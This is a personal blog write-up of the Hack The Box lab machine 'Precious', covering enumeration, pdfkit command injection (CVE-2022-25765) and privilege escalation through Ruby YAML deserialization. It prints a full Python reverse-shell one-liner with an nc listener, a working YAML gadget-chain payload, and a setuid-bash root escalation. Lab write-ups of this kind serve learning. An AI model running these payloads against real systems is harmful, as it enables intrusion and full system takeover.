Hack The Box – Precious

Hack the box is an easy box that has been alive 70 days from this posting. With a point score of 20, Could be more if I get the system own (Get root and get flag)

Initial Enumeration

The first thing we need to do is enumerate this system after connecting.

nmap -sC -sV -A -O 10.129.228.98

nmap switches:

-sC: equivalent to –script=default

-sV: Probe open ports to determine service/version info

-A: Enable OS detection, version detection, script scanning, and traceroute

-O: Enable OS detection.

Interestingly after looking up switching, you can combine -sC and -sV also the -A -O to combine to make a quicker command:

nmap -sCV -AO 10.129.228.98
Port 80 is open again and also Port 22, Hmm is this going to be the same as the last box?

After a scan, we are given the above information.

Port 22: SSH port with OpenSSH 8.2p1

OpenSSH 8.2p1: OpenSSH (also known as OpenBSD Secure Shell) is a suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides a secure channel over an unsecured network in a client–server architecture. I think for sanity’s sake there is no point trying to brute force this unless port 80 yields no results. Get that low-hanging fruit it is riper.

Port 80: nginx/1.18.0

nginx/1.18.0: is a high-performance HTTP server and a multi-protocol proxy server. For serving pages! There seem to be potential vulnerabilities for this package:

https://github.com/AgainstTheWest/NginxDay

https://snyk.io/test/docker/nginx%3A1.18.0

However, Lets save this for later as I am assuming that is medium and up difficulty.

Port 80: Website Enumeration

Ah web challenges, how you make me feel. Your tools are clunky and your abstraction pool is much large.

If you see this from your nmap enumeration, its time to start associating the IP with the given domain above. Handy bit of recon.

Time to add the domain to the /etc/hosts file! This comes up a lot in HTB so remember it!

sudo echo "10.129.228.98 precious.htb" >> /etc/hosts
I had to do some housekeeping from the last HTB Box so nanoed in any way.

After this, I have learned I may as well load up burp suite to intercept traffic through a proxy. Here is the tutorial for that

https://portswigger.net/burp/documentation/desktop/external-browser-config/browser-config-firefox

On Inspection:

something to do with PDF’s my not-favourites.

So we are presented with a submit form and some promise to convert web to PDF. A few things worth doing when starting out in CTFs is finding the technologies involved I tent to use Wappalyzer (https://www.wappalyzer.com/) for this.

Never seen Phusion Passenger before so lets have a look at this.

I think its high time I started having a general look at all technologies and add this into my initial enumeration process instead of coming back later confused.

Phusion Passenger: https://www.phusionpassenger.com/

Passenger is a rock-solid, feature-rich web app server that integrates with Apache and Nginx. Serve millions of customers with confidence.

This has a hipster on the front page so you know this is someone’s passion project that is for sure. One thing I would like to know for sure one day is how Wappalyzer picks up C in the code. Speaking of, Lets press F12 (firefox) and quickly dig through the code see if we can get some clues.

Head: Stylesheet only

Body:

Overflow is always interesting to dig into.

There is no more code outside the post form so looks like we are looking at requests. See what they are doing for now.

BurpSuite

BurpSuite and Zap are good tools for looking at the requests and traffic flying between us and the server and you can also change the content of requests and send/receive them as a GET, POST etc to the server. Deeper dive below.

https://www.codecademy.com/article/http-requests

After submitting an URL to the service hitting forward after every request:

posting google.com to the server
Smash that forward bruh.
Weird, no fill for net (nothing back)

better add in the https://www.google.com and:

Weird this is the forced face of the internet.
Lets try hack the box

Same thing, Is Something wrong with this code? Let us try something else 3rd time is the charm right?

After trying a couple of other websites nothing seems to be working, It is time to enumerate more. Why is this broken, why is nothing coming back? Why are we even here in the first place? so many questions

My favourite emoji.

.I spent entirely too long trying to get this part of the task done. Full disclosure here I ended up having to google way more then I needed to and found in a Reddit forum the answer. This seems counterproductive the way you connect to this, there are also two ways you can generate the pdf that you require. But if this was a live production system you would not have this problem.

To solve this you need to put your HTB VPN IP Address, Not the box IP Address. That does not work.

HTB connect server does not work

First you need to set up a local http server:

python3 -m http.server

The clue is “Cannot load remote URL”:

This has the correct way of formatting the IP and port

But your python http server says its running on 0.0.0.0:80 however it is not:

https://www.reddit.com/r/hackthebox/

Just to add more confusion if you pop the ip into your browser (not the served page) you get your local http server:

Test folder where http server is serving from.
IP you actually have to connect to on given port: 8000

Another way to get a blank PDF to generate is to write any url and add a blank space at the end so it resolves like so in the request:

adding a space at the end of the url.
resulting PDF
generates a PDF anyway. Jank.

Opening the PDF and looking at the properties shows what tool has been used to make the PDF:

pdfkit v0.8.6

pdfkit v0.8.6

Popping this into google shows a snyk CVE-2022-25765 before the GitHub for this tool right in the face, that’s always nice from that pain.

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Updated version of tool:

https://github.com/pdfkit/pdfkit/releases

PoC:

An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with “http”:

PDFKit.new("http%20`sleep 5`").to_pdf

Thanks Synk

So with this lets (IP is changing a lot now):

http://10.10.XX.XX/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

Jab up a reverse shell:

 nc -nvlp 9001

We are in at this point I was highly fed up of doing this machine so I express did the priv esc.

$ ls -al

Nanoed all the files like a choom.

dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle

Had password containing:

BUNDLE_HTTPS://RUBYGEMS__ORG/: “henry:Nope”

Then we log in with ssh

ssh henry@ip

Bang password in

When you are in shell do the old:

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Check out this vlun with deserialization yaml attack.

cat /opt/update_dependencies.rb 

The line we are interested in:
def list_from_file
    YAML.load(File.read("dependencies.yml"))

Create a dependencies.yml file in your /home/henry folder, they let you write to it on this one! NICE!

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Then:

sudo /usr/bin/ruby /opt/update_dependencies.rb

You get:

sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
(Bunch of tracebacks here)

change dependencies.yml to:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash" < - Priv esc nicenice
         method_id: :resolve
sudo /usr/bin/ruby /opt/update_dependencies.rb again!

Whole bunch of tracebacks.

ls -al /bin/bash <- Hows you as rooted
/bin/bash -p <- change to root bash shell
cd /root <- change to /root/ directory 
cat root.txt
FLAG IS HERE.

I disliked this box due to the lack of direction and the obscure clue at the start to use a locally hosted website. However, I have finished this writeup for completion’s sake. As you can see as the writeup went along it has become less detailed. I think this box is not really beginner friendly as it seems the CTF community seems to think that you should just “Know to start up a http server for testing”

That is not true and unfair if you ask me, the try harder and get good mentality is good in some ways, pushes people to script kiddydom in other ways, on that note:

This machine sucked.

and:

I am a script kiddy now.

Posted

in

,

by

Tags: